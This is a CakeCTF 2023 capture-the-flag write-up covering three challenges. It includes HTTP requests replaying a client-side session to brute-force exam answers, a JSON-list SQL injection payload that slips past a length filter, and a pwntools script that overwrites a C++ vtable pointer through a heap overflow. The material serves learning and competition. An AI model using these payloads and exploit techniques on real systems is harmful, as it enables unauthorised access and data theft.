---
# System prepended metadata

title: Cake CTF 2023-WAN

---

# Cake CTF 2023-WAN

**RANK:142/729**

## TOWFL  
> Solver : Whale120  

An exam web application which would generate some strange sentences with unknow characters every time and you have to get flag by getting a full mark on it.  
There are a hundred strange problems, after a try on this application with Burp Suite, I found out two key points:  
- The submition would be post to path `/api/submit` and the submission result can be get by path:`/api/score`. The statements would be the same every time if the sessions are the same.  
- It would return your score every time.  
So my solution is to enumerate the answer of a problem every time by sending packages with the same session and check whether it's right by the increase/decrease of score.  
about 400 tries, I finally get flag!!!  
**Finall packages:**  
- Submit  
```
POST /api/submit HTTP/1.1
Host: towfl.2023.cakectf.com:8888
Content-Length: 221
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://towfl.2023.cakectf.com:8888
Referer: http://towfl.2023.cakectf.com:8888/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: session=.eJwFwQkNgDAMAEAvVdB3HbjptwQNBO_cvTBPww2G0TaaNUzJxcgdjbKuLVa4InJ8nDJaSQ-SrLbaV7q6Sh2E7wcTBRSv.ZU8oLA.Eg6KzOfgQ2jRkpXYuYEZaJp-mXw
Connection: close

[[1,0,3,1,1,3,3,0,1,0],[0,3,3,0,1,3,0,0,0,1],[2,1,3,3,0,3,3,2,2,1],[1,2,2,0,2,0,2,2,2,2],[2,3,2,2,0,3,3,1,2,3],[2,0,0,3,2,1,0,0,0,0],[3,1,0,1,0,0,1,2,2,2],[0,2,3,2,3,3,0,0,0,2],[2,2,2,0,0,0,2,0,2,1],[3,1,2,2,0,1,1,2,3,1]]
```
- Get score  
```
GET /api/score HTTP/1.1
Host: towfl.2023.cakectf.com:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
Accept: */*
Referer: http://towfl.2023.cakectf.com:8888/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: session=.eJwFwQkNgDAMAEAvVdB3HbjptwQNBO_cvTBPww2G0TaaNUzJxcgdjbKuLVa4InJ8nDJaSQ-SrLbaV7q6Sh2E7wcTBRSv.ZU8oLA.Eg6KzOfgQ2jRkpXYuYEZaJp-mXw
Connection: close
```
**Finall Result:**
```
HTTP/1.1 200 OK
Server: nginx/1.21.6
Date: Sat, 11 Nov 2023 07:37:40 GMT
Content-Type: application/json
Content-Length: 112
Connection: close
Vary: Cookie
Set-Cookie: session=; Expires=Thu, 01 Jan 1970 00:00:00 GMT; Max-Age=0; HttpOnly; Path=/

{"data":{"flag":"\"CakeCTF{b3_c4ut10us_1f_s3ss10n_1s_cl13nt_s1d3_0r_s3rv3r_s1d3}\"","score":100},"status":"ok"}
```
My arms were almost broken by brute forcing through this...  
## Country DB
> Solver:Whale120
An simple web application use to search country ID by input two charaters every time.  
Its backend is setup by sqlite3 and python flask, and it would filter user input by this:  
```py
def api_search():
    req = flask.request.get_json()
    if 'code' not in req:
        flask.abort(400, "Empty country code")

    code = req['code']
    if len(code) != 2 or "'" in code:
        flask.abort(400, "Invalid country code")

    name = db_search(code)
    if name is None:
        flask.abort(404, "No such country")

    return {'name': name}
```
**Search query:**  
```py
def db_search(code):
    with sqlite3.connect('database.db') as conn:
        cur = conn.cursor()
        cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')")
        found = cur.fetchone()
    return None if found is None else found[0]
```
~~And I was stucked at here because I was thicking about SQL Injection with two characters~~  
After about 30 minutes, I tried to send packages like this while I was testing sqlite and list container on python:  
```
POST /api/search HTTP/1.1
Host: countrydb.2023.cakectf.com:8020
Content-Length: 13
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.123 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://countrydb.2023.cakectf.com:8020
Referer: http://countrydb.2023.cakectf.com:8020/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

{"code":["a", "b"]}
```
And there was a 500 error code but not 400, which means that this can passed the length filter!!!  
So I constructed my payload into this:  
```
POST /api/search HTTP/1.1
Host: countrydb.2023.cakectf.com:8020
Content-Length: 59
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.123 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://countrydb.2023.cakectf.com:8020
Referer: http://countrydb.2023.cakectf.com:8020/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

{"code":["CA') UNION SELECT FLAG FROM FLAG --","Rahlin<3"]}
```
Because python would consider the json of parameter `code` a list with legth 2, although sqlite can't accept a list like object, but it can be a string if I add a annotation `--` in the middle of my payload. Base on these, this UNION SQL Injection payload is effective!  
**Finall Request:**  
```
HTTP/1.1 200 OK
Server: nginx/1.21.6
Date: Sun, 12 Nov 2023 06:57:06 GMT
Content-Type: application/json
Content-Length: 55
Connection: close

{"name":"CakeCTF{b3_c4refUl_wh3n_y0U_u5e_JS0N_1nPut}"}
```

## vtable4b  
> Solver : 堇姬Naup  

First,I try to `nc` it.You can look like that.If you can call the function `win`,you will get flag.  
```
naup96321@DESKTOP-T2ED0OK:/mnt/c/Windows/system32$ nc vtable4b.2023.cakectf.com 9000
Today, let's learn how to exploit C++ vtable!
You're going to abuse the following C++ class:

  class Cowsay {
  public:
    Cowsay(char *message) : message_(message) {}
    char*& message() { return message_; }
    virtual void dialogue();

  private:
    char *message_;
  };

An instance of this class is allocated in the heap:

  Cowsay *cowsay = new Cowsay(new char[0x18]());

You can
 1. Call `dialogue` method:
  cowsay->dialogue();

 2. Set `message`:
  std::cin >> cowsay->message();

Last but not least, here is the address of `win` function which you should call to get the flag:
  <win> = 0x55a3e818c61a

1. Use cowsay
2. Change message
3. Display heap
>
```
- If you enter the number `1`.It is a cow which can say something.  
![image](https://hackmd.io/_uploads/BJG0agRQp.png)

- If you enter the number `2`.You can enter somthing words and sentence, and then it can change the text which spoken by the cow and heap data in third position  

  ![image](https://hackmd.io/_uploads/Bk3QCeAmp.png)

- If you enter the number `3`.Yoy can look a vtable. It is a structure in C++.  
![image](https://hackmd.io/_uploads/HJHXTgAQT.png)

I think it can use overflow the `heap` to solve it.  
In each round, it has differnce addresses. So first of all, the address of function `win` and the address of `heap` must be re-received in each round.  
Next, we need to change its pointer so that it can control the heap first, and then call the function of win by entering 1.  

Take this picture as an example.If use payload  
```
(b'A'*8)+p64(int(addr,16))+(b"A"*8)*2+p64(int(t_address,16))
```
and then you enter 1,it will call:  

**0x5634714d2ed0**->**0x5634714d2eb8**->**function win**

![image](https://hackmd.io/_uploads/BkJcw-0Qp.png)

**Solve Script**  
```python=
from pwn import * 


r=remote("vtable4b.2023.cakectf.com",9000)


uns_addr = r.recvuntil(b"\n\n1.")
addr = uns_addr.split(b"\n\n1")[0][-14:]
print(addr)
r.recv()


r.send(b"3\n")
heap_data = r.recvuntil(b"\n\n1.")


print(heap_data)
t_address = heap_data.split(b"\n")[9][:14]
print(t_address)

r.recv(timeout=1)
r.send(b"2")

r.recvuntil(b": ",timeout=1)
r.send((b'A'*8)+p64(int(addr,16))+(b"A"*8)*2+p64(int(t_address,16)))

print("1111")

 
r.interactive()
```